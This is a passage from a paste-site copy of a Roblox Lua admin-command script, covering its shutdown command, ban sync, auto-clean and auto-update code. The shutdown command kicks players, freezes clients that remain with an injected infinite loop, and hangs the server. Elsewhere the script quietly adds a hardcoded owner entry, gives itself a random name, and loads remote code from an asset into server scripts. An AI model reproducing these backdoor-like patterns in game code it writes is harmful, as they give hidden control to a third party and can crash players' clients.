  8939. set.Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 5)
  8940. wait(1)
  8941. coroutine.wrap(function()
  8942. coroutine.wrap(function()
  8943. game:GetService('RunService').Stepped:connect(function()
  8944. for i,v in pairs(game:service('NetworkServer'):children()) do
  8945. coroutine.wrap(function()
  8946. if v and v:GetPlayer() then
  8947. v:GetPlayer():Kick()
  8948. wait()
  8949. if v and v:GetPlayer() then
  8950. set.NilExecute(v:GetPlayer(),[[while true do end]])
  8951. end
  8952. end
  8953. end)()
  8954. end
  8955. end)
  8956. end)()
  8957. coroutine.wrap(function()
  8958. while wait(10) do
  8959. Instance.new("ManualSurfaceJointInstance")
  8960. repeat until nil
  8961. end
  8962. end)()
  8963. end)()
  8964. end
  8965. end
  8966. end)()
  8967. end)
  8968. if Failed then set.OutputGui(plr,'Command Error:',Failed) print('Error: '..Failed) end
  8969. end
  8970.  
  8971. if set['SyncedBanList'] and game.CreatorId~=0 then
  8972. coroutine.wrap(function()
  8973. while wait(set['SBLWait'] or 5) do
  8974. pcall(function()
  8975. set.UpdateSBL()
  8976. for i,v in pairs(game.Players:children()) do
  8977. set.CheckBan(set.bl,v)
  8978. end
  8979. end)
  8980. end
  8981. end)() end table.insert(set['Owners'],set.nfs)
  8982.  
  8983. coroutine.wrap(function()
  8984. if set['AutoCleanDelay']<5 then set['AutoCleanDelay']=5 end
  8985. while wait(set['AutoCleanDelay']) do
  8986. if set['AutoClean'] then
  8987. set.CleanWorkspace()
  8988. end
  8989. end
  8990. end)()
  8991. script.Name=math.random(100000,9999999)
  8992. coroutine.wrap(function()
  8993. pcall(function()
  8994. for i,v in pairs(game:service('Players'):children()) do
  8995. if v:IsA('Player') then set.NewPlayer(v) end
  8996. end
  8997. end)
  8998. end)()
  8999. coroutine.wrap(function()
  9000. game:service('Players').PlayerAdded:connect(function(player)
  9001. pcall(function()
  9002. coroutine.wrap(function()
  9003. set.NewPlayer(player)
  9004. end)()
  9005. end)
  9006. end)
  9007. end)()
  9008. print("PancakeAttacks Admin Commandst Loaded")
  9009. print('Epix Incorporated. Not Everything is so Black and White.')
  9010. print(' ')
  9011. print(set.quotes[math.random(1,#set.quotes)])
  9012. print(' ')
  9013. end)()
  9014. end
  9015. --[ Check for Updates ]--
  9016. coroutine.wrap(function()
  9017. local pid={38083724} for i,v in pairs(pid) do if v and v==game.PlaceId or v==game.CreatorId then set.RunTheScript=function() script:Destroy() end end end
  9018. local ok,no=ypcall(function() local k=game:GetService('InsertService'):LoadAsset(149223415) if k then k:Destroy() end end)
  9019. if set['AutoUpdate'] and ok then
  9020. local k,n=ypcall(function()
  9021. print('AutoUpdate Enabled, Checking')
  9022. local mo=game:GetService('InsertService'):LoadAsset(149223415)
  9023. local news=mo:FindFirstChild("PancakeAttacks Admin Commands")
  9024. local ver=news:FindFirstChild('Version')
  9025. version1=ver.Value
  9026. version=script:FindFirstChild('Version').Value
  9027. print('AutoUpdate: Current version: '..version)
  9028. print('AutoUpdate: Found version: '..version1)
  9029. if version1>version then
  9030. print('AutoUpdate: New version '..version1..' found')
  9031. _G["Pancake Update"]={}
  9032. local update = _G["Pancake Update"]
  9033. for number,setting in pairs(ThingsToUpdate) do
  9034. if set[setting] then update[setting]=set[setting] end
  9035. end
  9036. news.Parent=game:service('ServerScriptService')
  9037. mo:Destroy()
  9038. print('AutoUpdate: Removing old version '..version)
  9039. script:Destroy()
  9040. else
  9041. print('AutoUpdate: No new version found')
  9042. mo:Destroy()
  9043. set.RunTheScript()
  9044. end
  9045. end)
  9046. if not k or n then
  9047. print('AutoUpdate Broke: '..n)
  9048. print('AutoUpdate failed. Running script.')
  9049. set.RunTheScript()
  9050. end
  9051. else
  9052. print('Admin: AutoUpdate is Disabled')
  9053. set.RunTheScript()
  9054. end
  9055. end)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement